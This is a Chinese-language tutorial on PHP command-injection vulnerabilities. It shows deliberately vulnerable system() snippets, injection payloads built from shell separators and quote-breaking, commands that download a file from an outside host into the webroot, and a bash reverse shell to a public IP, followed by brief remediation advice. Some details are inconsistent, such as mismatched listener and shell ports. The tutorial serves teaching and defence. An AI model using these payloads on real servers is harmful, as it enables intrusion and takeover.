內容:
命令執行漏洞的概述
命令執行漏洞的危害
命令執行漏洞的利用
命令執行漏洞的防禦
背景介紹
程序員使用腳本語言(比如PHP)開發應用程序過程中,腳本語言開發十分快速、簡潔,方便,但是也伴隨着一些問題。比如說速度慢,或者無法接觸系統底層,如果我們開發的應用,特別是企業級的一些應用需要去調用一些外部程序。當應用需要調用一些外部程序時就會用到一些執行系統命令的函數。
成因
應用在調用這些函數執行系統命令的時候,如果將用戶的輸入作爲系統命令的參數拼接到命令行中,在沒有過濾用戶的輸入的情況下,就會造成命令執行漏洞。
相關函數
在PHP中可以調用外部程序的常見函數:
- system(args) 有回顯
- passthru(args)(有回顯)
- exec(args) (回顯最後一行-必須echo輸出)
- shell_exec(args) (無回顯-必須輸出)
- 反引號:``
- popen(handle,mode)(無回顯)
- proc_open(‘cmd’,‘flag’,‘flag’)(無回顯)
- $process = proc_open(‘dir’,$des,$pipes);
- echo stream_get_contents($pipes[1]);
漏洞危害
- 繼承Web服務器程序的權限,去執行系統命令
- 繼承Web服務器程序的權限,讀寫文件
- 反彈shell
- 控制整個網站
- 甚至控制整個服務器
system()函數漏洞利用_1
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“$arg”);
}
?>
• /?cmd=id
• /?cmd=pwd
• /?cmd=ifconfig
system()函數漏洞利用_2
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ping –c 3 $arg”);
}
?>
我們能夠控制的點是程序的整個參數,我們可以直接用&&或|等等,利用與、或、管道命令來執行其他命令。
• /?cmd=127.0.0.1| ifconfig
System(“ping –c 3 127.0.0.1; ifconfig)
linux 下支持分號 ”;”
|,||,%26,%26%26,
中間加任意字符,後面都會執行-,//,/*/
system()函數漏洞利用_3
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ls –al \“$arg\””);
// ls –al “”;ifconfig;”
}
?>
邏輯與短路
<?php
if ($a = 100 | $b =100) {
\# code...
}
// 短路與&&的特點,前面如果爲真,才執行後面的,如果爲假,都不執行。
// 邏輯與&的特點,前面無論真假,後面都執行
// 短路或||&的特點,前面如果爲真,後面的不執行了,前面爲假,後面執行
// 邏輯或|前面無論真假,後面都執行
echo "<pre>";
var_dump($a);
var_dump($b);
?>
• /?cmd=/home” ; ifconfig;”
• /?cmd=/home” | ifconfig;”
• /?cmd=/home” %26 ifconfig;”
• /?cmd=/home” %26%26 ifconfig;”
system()函數利用_4
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ls –al ‘$arg’”);
}
?>
在單引號內的話,變量不能被解析,因此要想執行命令必須閉合單引號。
• /cmd?=/home’|ipconfig ’
漏洞利用
如果有寫權限的話
- 執行pwd得到絕對路徑
- 寫文件:
• ?cmd=echo"<?php phpinfo()?>" > /var/www/html/info.php
• ?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
• ?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php
反彈shell
公網服務器執行 nc –lvv 8888
目標服務器上執行
• ?cmd= bash -i >& /dev/tcp/211.149.191.5/9999 0>&1
漏洞修復方案
• 能使用腳本解決的工作,不要調用其他程序處理,儘量少用執行命令的函數,並在disabl_functions中禁用。
• 在進入命令執行的函數或方法之前,對參數進行過濾。
• 參數的值儘量使用引號包裹,並在拼接前調用addslashes進行轉義。